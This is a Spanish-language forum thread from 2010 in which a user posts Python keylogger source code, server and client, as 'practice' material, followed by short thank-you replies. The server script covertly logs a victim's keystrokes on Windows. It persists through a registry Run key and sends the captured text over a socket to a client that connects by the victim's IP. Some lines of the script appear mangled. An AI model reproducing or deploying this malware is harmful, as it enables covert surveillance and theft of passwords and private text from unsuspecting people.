Página 1 de 1

Python keylogger - by "bLiNdFiR3"

Publicado: 22 Abr 2010, 22:13
por ANTRAX
Bueno muchachos, Aca les dejo un Keylogger en Python.
Al igual que el troyano, les servira para practicar un poco y mirar como funciona

Server:

Código: Seleccionar todo

"""
Server Version
*KeyLogger.pyw
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Version 1.2
"""
import os
import string
import sys
import win32api
import socket
from _winreg import *
def body():
      try:
         socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
         socket1.bind((socket.gethostname(), 902))
         socket1.listen(5) 
         conn, addr = socket1.accept()
      except socket.error:
         print "error with sockets"
      else:  
        try:
           keylog_file = open("C:\\keylog_file.txt","w")
        except IOError:
           print "Error grabbing file"
        else:
         while 1:
            keyAscii = 0
            for i in range(32, 256):
                key_log = win32api.GetAsyncKeyState(i)
                if key_log == -32767:
                  print i
                  key_end = 81
                  keylog_file.write(chr(i))
                  if i == key_end:
                     keylog_file.close()
                     keyin = open("C:\\keylog_file.txt","r")
                     data = keyin.read()
                     conn.send(data)
def regwrite():
   aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
   aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run") 
   aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
   SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\your_project_name_here.pyw")
   CloseKey(aKey)
   CloseKey(aReg)
if     ==  '':
       class mainexecution:
         regwrite()
         body()
Cliente:

Código: Seleccionar todo

"""
Client Version
*Client.py
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Help
-About
-Version 1.2
"""
import socket 
import os
def body():
      print "AciD Ice Client V-1.1"
      victim_IP = raw_input ("please input an IP to connect to ") 
      host = victim_IP 
      port = 902
      addr = (victim_IP, 902)
      try:
        socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket1.connect(addr)
      except socket.error:   
        print "failure to connect"
      else:
        print "connection Made to remote host =]"
        try:
          file = open("C:\\key_log_file2.txt","w")
        except IOError:
          print "error in file"
        else:
          logging()  
          data = socket1.recv(1024)
          print data 
          file.write(data)
          file.close()
def logging():
    print "Logging keys..."
    print "------------------------------"
if     ==  '':
    class mainprog:  
       body()

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 22 Abr 2010, 22:16
por yorll
Igual esto va en fuentes y texto de programacion. Gracias.

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 22 Abr 2010, 22:20
por depuniet
Gracias..

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 23 Abr 2010, 02:49
por ØnLy
Exelente!
Saludos!

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 29 Abr 2010, 17:32
por bacardi-seven
Gracias

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 29 Abr 2010, 17:39
por Gigabyte
En python? Orale que bueno

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 29 Abr 2010, 20:17
por wh0!
Muy buena ANRTAX!
gracias.

PD: Hay te trajeron Linkgl para que practiques xD!

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 01 May 2010, 20:45
por kgb_cia
ke tal aportazo!!! ANTRAX

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 03 May 2010, 15:29
por linkgl
SkuLLByte escribió:Muy buena ANRTAX!
gracias.

PD: Hay te trajeron Linkgl para que practiques xD!
haha si estaba queriendo hacer un keylogger pero no sabía como detectar las teclas sin apis, pero creo que tendré que usar apis de todas maneras gracias por el aporte me voy a aplicar a estudiar

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 06 May 2010, 04:59
por _Dei_Rockito_
Gracias

Re: Python keylogger - by "bLiNdFiR3"

Publicado: 26 May 2017, 05:59
por juan Peres
tengo la duda de cual es la diferencia entre el server y el cliente